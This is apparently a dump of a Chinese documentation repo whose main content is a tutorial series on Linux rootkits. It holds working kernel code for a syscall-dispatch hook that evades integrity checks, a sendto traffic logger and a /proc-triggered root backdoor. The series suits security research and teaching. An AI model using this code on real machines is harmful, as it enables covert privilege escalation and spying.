32 | 使用 ``help`` 内置命令查看内置命令的帮助。 33 | 34 | - Zsh_ 35 | 36 | 使用 ``run-help`` 函数查看各种帮助,包括内置命令、man 手册等。 37 | 其快捷键为 ``M-h`` 。 38 | 39 | 40 | 1.1.2. 外部帮助 41 | *************** 42 | 43 | - man_ 44 | 45 | man_ 手册需要安装, 46 | 不过,通常在安装系统的时候会安装上一套 `基本的 man 手册`_ 。 47 | 然后,在安装其他程序的时候,他们的 man_ 手册也会一起安装上, 48 | 或者说,程序自带自己的 man_ 手册。 49 | 50 | .. _基本的 man 手册: https://www.kernel.org/doc/man-pages/ 51 | 52 | 53 | - info_ 54 | 55 | info_ 手册也需要安装,不过通常是跟程序一起安装的, 56 | 或者说,是程序自带的。 57 | 58 | GNU_ 的程序大都使用这种文档方式,比如 Bash_ 。 59 | 60 | 不带参数执行 info_ 可以看到总目录。 61 | 62 | 注意:要想愉快地使用 info_ ,你需要花点时间了解一下它的工作方式。 63 | 64 | 65 | 1.2. 编程语言 66 | +++++++++++++ 67 | 68 | 1.2.1. Python 69 | ************* 70 | 71 | Python_ 编程语言自包含的帮助也就是写在 Docstring_ 里面的文档。 72 | 73 | `pydoc`_ 可以用来查看这些自带的文档, 74 | 尽管不是特别详细(你可以指望 Python_ 75 | 包的开发者会把 Docstring_ 写得特别详细), 76 | 但是完全可以胜任大多数情况,尤其是在没有网络的情况下。 77 | 78 | 在 Windows 环境下你可能额外需要配置,或者使用 ``python -m pydoc`` 。 79 | 另外, Python_ 的 Windows 发行自带了一份 CHM_ 格式的详细的文档。 80 | 81 | 例如。 82 | 83 | 查看 pathlib2_ 模块 Path 类自带的文档。 84 | 注意这个模块不属于 Python_ 标准库。 85 | 86 | :: 87 | 88 | pydoc2 pathlib2.Path 89 | 90 | 查看 GitPython_ 模块 Remote 类自带的文档。 91 | 注意这个模块不属于 Python_ 标准库。 92 | 93 | :: 94 | 95 | pydoc3 git.Remote 96 | 97 | 查看 Python_ 标准库 `re`_ 模块自带的文档。 98 | 尽管自带的文档比不上在线文档详细, 99 | 但是很多没记牢的东西都可以看到。 100 | 101 | :: 102 | 103 | python -m pydoc re 104 | 105 | .. _Python: https://www.python.org/ 106 | .. _pydoc: https://docs.python.org/3/library/pydoc.html 107 | .. _Docstring: https://en.wikipedia.org/wiki/Docstring 108 | .. _CHM: https://en.wikipedia.org/wiki/Microsoft_Compiled_HTML_Help 109 | .. _pathlib2: https://github.com/mcmtroffaes/pathlib2 110 | .. _GitPython: https://github.com/gitpython-developers/GitPython 111 | .. _re: https://docs.python.org/3/library/re.html 112 | .. _Bash: https://www.gnu.org/software/bash/ 113 | .. _Zsh: http://www.zsh.org/ 114 | .. _man: https://en.wikipedia.org/wiki/Man_page 115 | .. _info: https://en.wikipedia.org/wiki/Info_(Unix) 116 | .. _UNIX: https://en.wikipedia.org/wiki/Unix 117 | .. _POSIX: https://en.wikipedia.org/wiki/POSIX 118 | .. _Linux: https://en.wikipedia.org/wiki/Linux 119 | .. _OpenSSH: http://www.openssh.com/ 120 | .. _BSD: https://en.wikipedia.org/wiki/Berkeley_Software_Distribution 121 | .. _GNU: https://en.wikipedia.org/wiki/GNU_Project 122 | 123 | 124 | 2. 如何寻求人类的帮助 125 | --------------------- 126 | 127 | 记住,机器是不会拒绝你的,但是人类是懂得拒绝的生物。 128 | -------------------------------------------------------------------------------- /source/index.rst: -------------------------------------------------------------------------------- 1 | .. Docs Conquer The Universe documentation master file, created by 2 | sphinx-quickstart on Mon Apr 4 09:51:23 2016. 3 | You can adapt this file completely to your liking, but it should at least 4 | contain the root `toctree` directive. 5 | 6 | LibreCrops 中文文档项目 7 | ======================= 8 | 9 | **目录** : 10 | 11 | .. toctree:: 12 | :maxdepth: -1 13 | 14 | help 15 | using 16 | gnu_linux 17 | -------------------------------------------------------------------------------- /source/linux_rootkit.rst: -------------------------------------------------------------------------------- 1 | Linux Rootkit 研究 2 | ================== 3 | 4 | .. toctree:: 5 | :maxdepth: -1 6 | 7 | linux_rootkit/sys_call_table 8 | linux_rootkit/fundamentals 9 | linux_rootkit/persistence 10 | linux_rootkit/entry_SYSCALL_64 11 | -------------------------------------------------------------------------------- /source/linux_rootkit/entry_SYSCALL_64.rst: -------------------------------------------------------------------------------- 1 | Linux Rootkit 系列六:基于修改派遣例程的系统调用挂钩 2 | ==================================================== 3 | 4 | **最后修改时间** : **2016-07-25 CST** 。 5 | 6 | rectigu@gmail.com, 二〇一六年七月。 7 | 8 | 前言 9 | ---- 10 | 11 | **鉴于笔者知识能力上的不足,如有疏忽,欢迎纠正。** 12 | 13 | 照旧,本文所需的相关代码位于如下代码仓库: 14 | https://github.com/NoviceLive/research-rootkit。 15 | 16 | **测试建议:为了愉快地 Happy Hacking,请不要在物理机玩火。** 17 | 18 | 概要 19 | ---- 20 | 21 | 本文为 `基于修改 sys_call_table 的系统调用挂钩`_ 的后续, 22 | 继续讲解围绕系统调用的挂钩方案。 23 | 第一部分以简要的系统调用挂钩综述纵览全局, 24 | 然后迅速切入本文的中心话题,篡改派遣例程: 25 | 对照相关反汇编与代码细致讲述如何从派遣例程中 26 | 抽取、篡改与恢复编码着系统调用表地址的那 4 个关键字节。 27 | 第二部分则是一个简易的系统调用应用示例,初级网络数据监控。 28 | 29 | **提示** :本文以 x64 ``syscall`` 发起的系统调用 30 | (即派遣例程为 ``entry_SYSCALL_64``)为例, 31 | 其他情况,读者可以尝试举一反三。 32 | 33 | 第一部分:基于修改派遣例程的系统调用挂钩 34 | ---------------------------------------- 35 | 36 | 1. 系统调用挂钩综述 37 | +++++++++++++++++++ 38 | 39 | 我们简要地看看从发起系统调用到完成系统调用这个过程中的控制转移, 40 | 想了解其中的详尽细节的话,可以结合参考资料阅读相关源代码。 41 | 42 | 1. 用户函数调用库函数,库函数最终发起系统调用; 43 | 44 | **注** : 钩用户函数到库函数的控制转移,可以自行查找相关资料, 45 | 似乎 ``LD_PRELOAD`` 是最受欢迎的。 46 | 47 | 2. CPU 以特权级 0 执行某个处理函数, 48 | 这个处理函数通常叫 ``系统调用派遣例程`` ; 49 | 50 | 3. 派遣例程进行必要准备(比如保存寄存器,切换到内核栈等) 51 | 与检查(比如系统调用号是否有效)工作之后, 52 | 调用系统调用表中相应系统调用号的处理函数, 53 | 这个处理函数通常叫 ``系统调用服务例程`` ; 54 | 55 | 4. 服务例程要完成任务,很可能需要调用更下层的关键函数; 56 | 57 | **注** : 内联钩服务例程的下层函数,更隐蔽。参见 `高级Linux Kernel Inline Hook技术分析与实现`_ 。 58 | 59 | 5. 服务例程完成任务后返回到派遣例程, 60 | 派遣例程进行必要的恢复(比如恢复寄存器)工作; 61 | 62 | 6. 控制权返回到发起系统调用的库函数, 63 | 库函数进行包装处理(比如系统调用的返回值)之后返回到用户函数。 64 | 65 | 简言之, ``用户函数`` --> ``库函数`` --> ``派遣例程`` --> ``服务例程`` 66 | --> ``服务例程依赖的更底层函数`` 。 67 | 68 | 在这个过程中的每一步、每一点都可以或者可能被篡改, 69 | 不过我们倾向于篡改其中的某几个关键的控制转移点, 70 | 比如 `基于修改 sys_call_table 的系统调用挂钩`_ 71 | 中讲的 ``sys_call_table`` ; 72 | 比如本文要讲的改派遣例程; 73 | 又比如篡改系统调用服务例程,这个可以使用内联挂钩, 74 | 篡改服务例程起始处的若干字节,劫持其控制权。 75 | 76 | 下面,我们看看其中的一个关键点, 77 | ``entry_SYSCALL_64`` 中的 ``sys_call_table`` 。 78 | 79 | 2. 派遣例程的篡改方式 80 | +++++++++++++++++++++ 81 | 82 | 不是说好的改 ``entry_SYSCALL_64`` 吗, 83 | 为什么 ``sys_call_table`` 又亮相了? 84 | 85 | 情况是这样子的,简单讲, 86 | 因为 ``entry_SYSCALL_64`` 的机器指令里包含 87 | ``sys_call_table`` 的地址, 88 | 如果我们改掉这几个字节, 89 | ``entry_SYSCALL_64`` 查的表也就在我们的掌控之下了。 90 | 91 | 仔细说来,基于修改派遣例程的钩法有多种不同的可能。 92 | 我们知道,在 ``x64`` 下使用 ``syscall`` 发起系统调用时, 93 | 控制权会转移到 ``MSR_LSTAR`` 中存储的地址, 94 | 这个地址也就是 ``entry_SYSCALL_64`` 的地址。 95 | 96 | 所以,第一种可能的形式就是篡改 ``MSR_LSTAR`` , 97 | 把它改成一个假的派遣例程的地址, 98 | 让这个假的派遣例程来做系统调用的派遣。 99 | 100 | 第二种可能的形式是,不修改 ``MSR_LSTAR`` , 101 | 而是修改 ``entry_SYSCALL_64`` 起始处的若干字节, 102 | 将控制转移到一个我们控制的函数, 103 | 由我们的函数接下来做系统调用派遣工作。 104 | 也就是内联钩 ``entry_SYSCALL_64`` 。 105 | 106 | 第三种则是,既不修改 ``MSR_LSTAR`` 也不内联钩 ``entry_SYSCALL_64`` , 107 | 而是将 ``entry_SYSCALL_64`` 中含有的 ``sys_call_table`` 的地址替换成 108 | 我们掌控的假的 ``sys_call_table`` 的地址。接下来我们讲讲这种钩法。 109 | 110 | 3. 获取 ``entry_SYSCALL_64`` 中的 ``sys_call_table`` 111 | ++++++++++++++++++++++++++++++++++++++++++++++++++++ 112 | 113 | 通过反汇编 ``entry_SYSCALL_64`` ,我们可以明显的看到, 114 | 进行系统调用派遣的是这一行。 115 | 请注意,这时候的 ``rax`` 中存放着系统调用号。 116 | 117 | :: 118 | 119 | 5f: ff 14 c5 a0 01 60 81 call QWORD PTR [rax*8-0x7e9ffe60] 120 | 121 | 122 | 指令形式为: ``call QWORD PTR [index * scale + disp32]`` 。 123 | 具体来看, ``index`` 也就是 ``rax`` 即系统调用号; 124 | ``scale`` 为 ``8`` 即 x64 的指针大小; 125 | ``disp32`` 为 ``-0x7e9ffe60`` ,也就是系统调用表的地址。 126 | 127 | 这一行汇编的机器码有 7 个字节, 128 | 即 ``ff 14 c5 a0 01 60 81`` , 129 | 其中, 我们要改的是 ``disp32``, 130 | 即 ``a0 01 60 81`` , 131 | 而这也就是 ``sys_call_table`` 的地址了。 132 | 133 | 我们使用 ``ff 14 c5`` 作为特征字节搜索 134 | ``entry_SYSCALL_64`` 的机器码, 135 | 然后读出 4 个字节的 ``sys_call_table`` 的地址, 136 | 符号拓展到 64 比特: 137 | 因为它的符号位是 1,我们可以简单的将高 32 比特补成 1 就好了。 138 | 139 | 请看代码。 140 | 141 | .. code-block:: c 142 | 143 | // get_lstar_sct_addr 用于获取 entry_SYSCALL_64 机器码中编码着 144 | // sys_call_table 地址的那几个字节在内存中的起始地址。 145 | void * 146 | get_lstar_sct_addr(void) 147 | { 148 | u64 lstar; 149 | u64 index; 150 | 151 | // 从 MSR_LSTAR 里读出 entry_SYSCALL_64 的地址。 152 | rdmsrl(MSR_LSTAR, lstar); 153 | 154 | // 开始搜索。 155 | for (index = 0; index <= PAGE_SIZE; index += 1) { 156 | u8 *arr = (u8 *)lstar + index; 157 | 158 | // 判断当前的位置的三个字节是否是特征字节。 159 | if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) { 160 | // 找到了特征字节,将目标的地址返回。 161 | return arr + 3; 162 | } 163 | } 164 | 165 | return NULL; 166 | } 167 | 168 | unsigned long ** 169 | get_lstar_sct(void) 170 | { 171 | // 获取目标地址。 172 | unsigned long *lstar_sct_addr = get_lstar_sct_addr(); 173 | if (lstar_sct_addr != NULL) { 174 | u64 base = 0xffffffff00000000; 175 | // 获取 32 比特。 176 | u32 code = *(u32 *)lstar_sct_addr; 177 | // 直接把高 32 比特填 1 就好了。 178 | return (void *)(base | code); 179 | } else { 180 | return NULL; 181 | } 182 | } 183 | 184 | 参考结果 185 | ******** 186 | 187 | .. image:: images/get.png 188 | 189 | 这里需要解释一下,从截图中我们可以看到, 190 | 通过 `基于修改 sys_call_table 的系统调用挂钩`_ 191 | 中的方法拿到的 ``sys_call_table`` 的地址是 192 | ``ffff8800016001a0`` , 193 | 而从 ``entry_SYSCALL_64`` 中拿到的 ``sys_call_table`` 的地址是 194 | ``ffffffff816001a0`` 。 195 | 196 | 为什么这两个值不一致呢? 197 | 因为这两个是两个不同的虚拟地址, 198 | 它们对应的物理地址一样的。 199 | 同样看截图,它们物理地址都是 ``16001a0`` 。 200 | 201 | 把虚拟地址变成物理地址,我们可以使用 ``virt_to_phys`` , 202 | 反过来的话,我们可以使用 ``phys_to_virt`` 。 203 | 函数原型如下: 204 | 205 | .. code-block:: c 206 | 207 | static inline phys_addr_t 208 | virt_to_phys(volatile void *address); 209 | 210 | static inline void * 211 | phys_to_virt(phys_addr_t address); 212 | 213 | 4. 修改与恢复 ``entry_SYSCALL_64`` 中的 ``sys_call_table`` 214 | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 215 | 216 | 有了第 3 小节中实现的 ``get_lstar_sct_addr`` , 217 | 要修改或者恢复 ``entry_SYSCALL_64`` 中的 ``sys_call_table`` 218 | 并不复杂。下面是 ``set_lstar_sct`` 的实现。 219 | 220 | .. code-block:: c 221 | 222 | int 223 | set_lstar_sct(u32 address) 224 | { 225 | unsigned long *lstar_sct_addr = get_lstar_sct_addr(); 226 | if (lstar_sct_addr != NULL) { 227 | u8 *arr = (u8 *)lstar_sct_addr; 228 | u8 *new = (u8 *)&address; 229 | 230 | fm_alert("%02x %02x %02x %02x\n", 231 | arr[0], arr[1], arr[2], arr[3]); 232 | fm_alert("%02x %02x %02x %02x\n", 233 | new[0], new[1], new[2], new[3]); 234 | 235 | disable_wp(); 236 | memcpy(lstar_sct_addr, &address, sizeof address); 237 | enable_wp(); 238 | 239 | return 0; 240 | } else { 241 | return 1; 242 | } 243 | } 244 | 245 | 修改 246 | **** 247 | 248 | .. code-block:: c 249 | 250 | # define NAME "entry" 251 | 252 | struct proc_dir_entry *entry; 253 | 254 | ssize_t 255 | write_handler(struct file * filp, const char __user *buff, 256 | size_t count, loff_t *offp); 257 | 258 | struct file_operations proc_fops = { 259 | .write = write_handler 260 | }; 261 | 262 | // kernel text mapping, from phys 0 263 | // ffffffff80000000 - ffffffffa0000000 (=512 MB) 264 | 265 | // 模块映射空间地址范围。 266 | // ffffffffa0000000 - ffffffffff5fffff (=1526 MB) 267 | 268 | // 请注意:我们只能编码 4 个字节到 entry_SYSCALL_64 里。 269 | // 所以,我们需要使用形如 0xffffffffXXXXXXXX 的地址, 270 | // 这样可以借助符号拓展。 271 | // 静态分配可以得到这种地址,至于为什么请看模块映射空间的地址范围。 272 | u64 fake_sct[__NR_syscall_max + 1] = { 0 }; 273 | 274 | // 把代码放到一个 /proc 文件的写处理函数里 275 | // 是为了在内核调试的时侯方便下断点。 276 | ssize_t 277 | write_handler(struct file * filp, const char __user *buff, 278 | size_t count, loff_t *offp) 279 | { 280 | u64 *real_sct; 281 | 282 | real_sct = (u64 *)get_sct_via_sys_close(); 283 | if (real_sct == NULL) { 284 | fm_alert("%s\n", "get_sct failed."); 285 | return count; 286 | } 287 | fm_alert("real sys_call_table: %p\n", real_sct); 288 | fm_alert("fake sys_call_table: %p\n", fake_sct); 289 | 290 | memcpy(fake_sct, real_sct, sizeof fake_sct); 291 | 292 | set_lstar_sct((u32)(unsigned long)fake_sct); 293 | 294 | return count; 295 | } 296 | 297 | 恢复 298 | **** 299 | 300 | .. code-block:: c 301 | 302 | // 使用基于导出的 sys_close 搜内存的方法拿到表的地址。 303 | real_sct = get_sct_via_sys_close(); 304 | // 拿到 entry_SYSCALL_64 中写死在机器码中的表的地址。 305 | lstar_sct = get_lstar_sct(); 306 | 307 | if (real_sct == NULL || lstar_sct == NULL) { 308 | return 1; 309 | } 310 | 311 | fm_alert("%s\n", "==> According to sys_close:"); 312 | fm_alert("virt: %p\n", real_sct); 313 | real_phys = virt_to_phys(real_sct); 314 | fm_alert("phys: %llx\n", real_phys); 315 | 316 | fm_alert("%s\n", "==> According to entry_SYSCALL_64:"); 317 | fm_alert("virt: %p\n", lstar_sct); 318 | lstar_phys = virt_to_phys(lstar_sct); 319 | fm_alert("phys: %llx\n", lstar_phys); 320 | 321 | if (real_phys == lstar_phys) { 322 | // 两个地址是同一个,不用做恢复。 323 | fm_alert("%s\n", "==> Matched."); 324 | } else { 325 | // 两个地址不一样,恢复成基于 sys_close 得到的那个地址。 326 | fm_alert("%s\n", "==> Patching to that from sys_close..."); 327 | // 恢复到正常的值。 328 | set_lstar_sct((u32)(unsigned long)phys_to_virt_kern(real_phys)); 329 | } 330 | 331 | 参考结果 332 | ******** 333 | 334 | .. image:: images/set-rec.png 335 | 336 | **请注意顺序!** 337 | 338 | 卸载 ``setko`` 之前,需要确保已经恢复到原来的值; 339 | 否则,机器将不能继续运行。 340 | 341 | 5. 比较 342 | +++++++ 343 | 344 | 这种钩法相比于直接改 ``sys_call_table`` 有什么优势呢? 345 | 346 | 痕迹更少。 347 | 或者说,可以被检测到的、对系统的更改更少,我们只修改了派遣例程的 4 个字节, 348 | 而真的 ``sys_call_table`` 完好无损。 349 | 350 | 因而,对于那些只检测 ``sys_call_table`` 完整性 351 | 而不检查派遣例程完整性的检测逻辑,本文的方法是可以躲过检测的。 352 | 353 | 第二部分:基于系统调用挂钩的初级流量监视 354 | ---------------------------------------- 355 | 356 | 监视本机发出去的数据包。 357 | 考虑到 ``sys_send`` 是用 ``sys_sendto`` 实现的, 358 | 所以我们只钩 ``sys_sendto`` 就好了。 359 | 360 | 1. 伪造假的 ``sys_call_table`` 并钩调其中的 ``sys_sendto`` 361 | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 362 | 363 | .. code-block:: c 364 | 365 | real_sct = get_sct_via_sys_close(); 366 | if (real_sct == NULL) { 367 | return 1; 368 | } 369 | 370 | real_phys = virt_to_phys(real_sct); 371 | fm_alert("real sys_call_table: %p phys: %llx\n", 372 | real_sct, real_phys); 373 | fm_alert("fake sys_call_table: %p phys: %llx\n", 374 | fake_sct, virt_to_phys(fake_sct)); 375 | 376 | // 复制真表的内容到假表。 377 | memcpy(fake_sct, real_sct, sizeof fake_sct); 378 | 379 | // 钩调假表中的 sys_sendto。 380 | HOOK_SCT(fake_sct, sendto); 381 | 382 | // 把 entry_SYSCALL_64 中的真表地址替换成假表地址。 383 | set_lstar_sct((u32)(unsigned long)fake_sct); 384 | 385 | 2. sys_sendto 的钩子函数 386 | ++++++++++++++++++++++++ 387 | 388 | .. code-block:: c 389 | 390 | asmlinkage long 391 | fake_sendto(int fd, void __user *buff, size_t len, unsigned flags, 392 | struct sockaddr __user *addr, int addr_len) 393 | { 394 | void *kbuf = kmalloc(len + 1, GFP_KERNEL); 395 | if (kbuf != NULL) { 396 | if (copy_from_user(kbuf, buff, len)) { 397 | fm_alert("%s\n", "copy_from_user failed."); 398 | } else { 399 | if (memcmp(kbuf, "GET", 3) == 0 || 400 | memcmp(kbuf, "POST", 4) == 0) { 401 | // 如果是 GET 与 POST 我们就按文本方式打印到日志。 402 | print_ascii(kbuf, len, "ascii"); 403 | } else { 404 | // 如果是其他内容,打印 16 进制 dump 到日志。 405 | print_memory(kbuf, len, "memory"); 406 | } 407 | } 408 | kfree(kbuf); 409 | } else { 410 | fm_alert("%s\n", "kmalloc failed."); 411 | } 412 | 413 | // 交给真的 sys_sendto 处理,并返回。 414 | return real_sendto(fd, buff, len, flags, addr, addr_len); 415 | } 416 | 417 | 3. 测试 418 | +++++++ 419 | 420 | 参考结果1: ``ping`` 421 | ******************** 422 | 423 | ``ping`` 发出的包,这里我们就不看其结构了。 424 | 425 | .. image:: images/ping.png 426 | 427 | 参考结果2: ``HTTP GET / POST`` 428 | ******************************* 429 | 430 | 打开浏览器,随手打开个 ``HTTP`` 网站, 431 | 可以看到右侧日志窗口飞快在显示发出去的各种网络数据, 432 | 比如 ``HTTP GET``。 433 | 434 | .. image:: images/http.png 435 | 436 | 第三部分: 参考资料与延伸阅读 437 | ----------------------------- 438 | 439 | 1. 参考资料 440 | +++++++++++ 441 | 442 | - `How does the Linux kernel handle a system call `_ 443 | 444 | - `Documentation/x86/x86_64/mm.txt `_ 445 | 446 | 2. 延伸阅读 447 | +++++++++++ 448 | 449 | - `高级Linux Kernel Inline Hook技术分析与实现`_ 450 | - `X86-64 Instruction Encoding `_ 451 | 452 | .. _基于修改 sys_call_table 的系统调用挂钩: http://www.freebuf.com/sectool/105713.html 453 | 454 | .. _高级Linux Kernel Inline Hook技术分析与实现: http://old.sebug.net/paper/pst_WebZine/pst_WebZine_0x03/html/%5BPSTZine%200x03%5D%5B0x03%5D%5B%E9%AB%98%E7%BA%A7Linux%20Kernel%20Inline%20Hook%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90%E4%B8%8E%E5%AE%9E%E7%8E%B0%5D.html 455 | -------------------------------------------------------------------------------- /source/linux_rootkit/fundamentals.rst: -------------------------------------------------------------------------------- 1 | Linux Rootkit 系列三:实例详解 Rootkit 必备的基本功能 2 | ===================================================== 3 | 4 | **最后修改时间** : **2016-07-20 CST** 。 5 | 6 | rectigu@gmail.com, 二〇一六年六月。 7 | 8 | **FreeBuf 链接** : 9 | http://www.freebuf.com/articles/system/107829.html 。 10 | 11 | 前言 12 | ---- 13 | 14 | **鉴于笔者知识能力上的不足,如有疏忽,欢迎纠正。** 15 | 16 | 本文所需的完整代码位于笔者的代码仓库: 17 | https://github.com/NoviceLive/research-rootkit。 18 | 19 | 测试建议: **不要在物理机测试!不要在物理机测试! 20 | 不要在物理机测试!** 21 | 22 | 概要 23 | ---- 24 | 25 | 在 `上一篇文章`_ 中笔者详细地阐述了基于直接修改系统调用表 26 | (即 ``sys_call_table`` / ``ia32_sys_call_table`` )的挂钩, 27 | 文章强调以代码与动手实验为核心。 28 | 29 | 长话短说,本文也将以同样的理念带领读者一一缕清 30 | Rootkit 必备的基本功能, 31 | 包括提供 root 后门,控制内核模块的加载, 32 | **隐藏文件** (提示:这是文章的重点与核心内容), 33 | 隐藏进程,隐藏网络端口,隐藏内核模块等。 34 | 35 | 短话长说,本文不打算给大家介绍剩下的几种不同的系统调用挂钩技术: 36 | 比如说,修改 32 位系统调用( 使用 ``int $0x80`` ) 37 | 进入内核需要使用的 `IDT`_ 38 | ( `Interrupt descriptor table`_ / 中断描述符表) 项, 39 | 修改 64 位系统调用( 使用 ``syscall`` )需要使用的 `MSR`_ 40 | ( `Model-specific register`_ / 模型特定寄存器,具体讲, 41 | 64 位系统调用派遣例程的地址位于 `MSR_LSTAR`_ ); 42 | 又比如基于修改系统调用派遣例程 43 | (对 64 位系统调用而言也就是 ``entry_SYSCALL_64`` ) 的钩法; 44 | 又或者,内联挂钩 / `Inline Hooking`_ 。 45 | 46 | 这些钩法我们以后再谈,现在,我们先专心把一种钩法玩出花样。 47 | `上一篇文章`_ 讲的钩法,也就是函数指针的替换,并不局限于钩系统调用。 48 | 本文会将这种方法应用到其他的函数上。 49 | 50 | .. _上一篇文章: http://www.freebuf.com/sectool/105713.html 51 | 52 | 53 | 第一部分:Rootkit 必备的基本功能 54 | -------------------------------- 55 | 56 | **站稳,坐好。** 57 | 58 | 1. 提供 root 后门 59 | +++++++++++++++++ 60 | 61 | 这个特别好讲,笔者就拿提供 root 后门这个功能开刀了。 62 | 63 | 大家还记得前段时间 `全志`_ ( `AllWinner`_ ) 64 | 提供的 Linux 内核里面的 root 后门吧, 65 | 不了解的可以看一下 `FB`_ 之前的文章, 66 | `外媒报道:中国知名ARM制造商全志科技在Linux中留下内核后门`_ 。 67 | 68 | 我们拿 `后门的那段源代码`_ 改改就好了。 69 | 70 | 具体说来,逻辑是这样子的, 71 | 我们的内核模块在 `/proc`_ 下面创建一个文件, 72 | 如果某一个进程向这个文件写入特定的内容 73 | (读者可以把这个“特定的内容”理解成口令或者密码), 74 | 我们的内核模块就把这个进程的 uid_ 与 euid_ 等等全都设置成 0, 75 | 也就是 root 账号的。这样,这个进程就拥有了 root 权限。 76 | 77 | 不妨拿 `全志`_ root 后门这件事来举个例子, 78 | 在运行有后门的 Linux 内核的设备上, 79 | 进程只需要向 ``/proc/sunxi_debug/sunxi_debug`` 写入 ``rootmydevice`` 80 | 就可以获得 root 权限。 81 | 82 | 另外,我们的内核模块创建的那个文件显然是要隐藏掉的。 83 | 考虑到现在还没讲文件隐藏(本文后面会谈文件隐藏),所以 84 | 这一小节的实验并不包括将创建出来的文件隐藏掉。 85 | 86 | 下面我们看看怎样在内核模块里创建 `/proc`_ 下面的文件。 87 | 88 | `全志`_ root 后门代码里用到的 ``create_proc_entry`` 89 | 是一个过时了的 API_ ,而且在新内核里面它已经被去掉了。 90 | 考虑到笔者暂时还不考虑兼容老的内核, 91 | 所以我们直接用新的 API_ , ``proc_create`` 与 ``proc_remove`` , 92 | 分别用于创建与删除一个 `/proc`_ 下面的项目。 93 | 94 | 函数原型如下。 95 | 96 | .. code-block:: c 97 | 98 | # include 99 | 100 | static inline struct proc_dir_entry * 101 | proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops); 102 | 103 | void 104 | proc_remove(struct proc_dir_entry *entry); 105 | 106 | ``proc_create`` 参数的含义依次为,文件名字,文件访问模式, 107 | 父目录,文件操作函数结构体。 108 | 我们重点关心第四个参数: ``struct file_operations`` 109 | 里面是一些函数指针,即对文件的各种操作的处理函数, 110 | 比如,读( ``read`` )、写( ``write`` )。 111 | 该结构体的定义位于 ``linux/fs.h`` ,后面讲文件隐藏的时候还会遇到它。 112 | 113 | 创建与删除一个 `/proc`_ 文件的代码示例如下。 114 | 115 | .. code-block:: c 116 | 117 | struct proc_dir_entry *entry; 118 | 119 | entry = proc_create(NAME, S_IRUGO | S_IWUGO, NULL, &proc_fops); 120 | 121 | proc_remove(entry); 122 | 123 | 124 | 实现我们的需求只需要提供一个写操作( ``write`` ) 125 | 的处理函数就可以了,如下所示。 126 | 127 | .. code-block:: c 128 | 129 | ssize_t 130 | write_handler(struct file * filp, const char __user *buff, 131 | size_t count, loff_t *offp); 132 | 133 | struct file_operations proc_fops = { 134 | .write = write_handler 135 | }; 136 | 137 | ssize_t 138 | write_handler(struct file * filp, const char __user *buff, 139 | size_t count, loff_t *offp) 140 | { 141 | char *kbuff; 142 | struct cred* cred; 143 | 144 | // 分配内存。 145 | kbuff = kmalloc(count, GFP_KERNEL); 146 | if (!kbuff) { 147 | return -ENOMEM; 148 | } 149 | 150 | // 复制到内核缓冲区。 151 | if (copy_from_user(kbuff, buff, count)) { 152 | kfree(kbuff); 153 | return -EFAULT; 154 | } 155 | kbuff[count] = (char)0; 156 | 157 | if (strlen(kbuff) == strlen(AUTH) && 158 | strncmp(AUTH, kbuff, count) == 0) { 159 | 160 | // 用户进程写入的内容是我们的口令或者密码, 161 | // 把进程的 ``uid`` 与 ``gid`` 等等 162 | // 都设置成 ``root`` 账号的,将其提权到 ``root``。 163 | fm_alert("%s\n", "Comrade, I will help you."); 164 | cred = (struct cred *)__task_cred(current); 165 | cred->uid = cred->euid = cred->fsuid = GLOBAL_ROOT_UID; 166 | cred->gid = cred->egid = cred->fsgid = GLOBAL_ROOT_GID; 167 | fm_alert("%s\n", "See you!"); 168 | } else { 169 | // 密码错误,拒绝提权。 170 | fm_alert("Alien, get out of here: %s.\n", kbuff); 171 | } 172 | 173 | kfree(buff); 174 | return count; 175 | } 176 | 177 | 实验 178 | **** 179 | 180 | 编译并加载我们的内核模块,以 Kali_ 为例: 181 | Kali_ 默认只有 root 账号, 182 | 我们可以用 ``useradd `` 183 | 添加一个临时的非 root 账号来运行提权脚本( ``r00tme.sh`` )做演示。 184 | 效果参见下图, 185 | 可以看到在提权之前用户的 uid_ 是 1000, 186 | 也就是普通用户,不能读取 ``/proc/kcore`` ; 187 | 提权之后, uid_ 变成了 0,也就是超级用户,可以读取 ``/proc/kcore`` 。 188 | 189 | .. image:: images/root-backdoor.png 190 | 191 | 192 | 193 | .. _后门的那段源代码: https://github.com/allwinner-zh/linux-3.4-sunxi/blob/bd5637f7297c6abf78f93b31fc1dd33f2c1a9f76/arch/arm/mach-sunxi/sunxi-debug.c#L41 194 | 195 | 2. 控制内核模块的加载 196 | +++++++++++++++++++++ 197 | 198 | 想象一下,在一个月黑风高的夜晚,邪恶的读者(误:善良的读者) 199 | 通过某种手段(可能的经典顺序是 RCE_ + LPE_ , 200 | Remote Code Execution / 远程代码执行 201 | + Local Privilege Escalation / 本地特权提升) 202 | 得到了某台机器的 root 命令执行; 203 | 进而执行 Rootkit 的 Dropper 程序释放并配置好 Rootkit, 204 | 让其进入工作状态。 205 | 206 | 这时候,Rootkit 首先应该做的并不是提供 root 后门; 207 | 而是,一方面,我们应该尝试把我们进来的门(漏洞)堵上, 208 | 避免 **其他** 不良群众乱入,另一方面,我们希望能控制好其他程序 209 | (这个其他程序主要是指反 Rootkit 程序与 **其他** 不良 Rootkit), 210 | 使其不加载 **其他** 不良内核模块与我们在内核态血拼。 211 | 212 | 理想状态下,我们的 Rootkit 独自霸占内核态, 213 | 阻止所有不必要的代码 214 | (尤其是反 Rootkit 程序与 **其他** 不良 Rootkit)在内核态执行。 215 | 当然,理想是艰巨的,所以我们先做点容易的,控制内核模块的加载。 216 | 217 | **2016-07-20 CST 更新** : **独自霸占内核态的理想错误的, 218 | Rootkit 强调的是后门(隐蔽)属性,不是霸道(嚣张)** 。 219 | 220 | 控制内核模块的加载,我们可以从通知链机制下手。 221 | 通知链的详细工作机制读者可以查看参考资料; 222 | 简单来讲,当某个子系统或者模块发生某个事件时, 223 | 该子系统主动遍历某个链表, 224 | 而这个链表中记录着其他子系统或者模块注册的事件处理函数, 225 | 通过传递恰当的参数调用这个处理函数达到事件通知的目的。 226 | 227 | 具体来说,我们注册一个模块通知处理函数, 228 | 在模块完成加载之后、开始初始化之前, 229 | 即模块状态为 ``MODULE_STATE_COMING`` , 230 | 将其初始函数掉包成一个什么也不做的函数。 231 | 这样一来,模块不能完成初始化,也就相当于残废了。 232 | 233 | 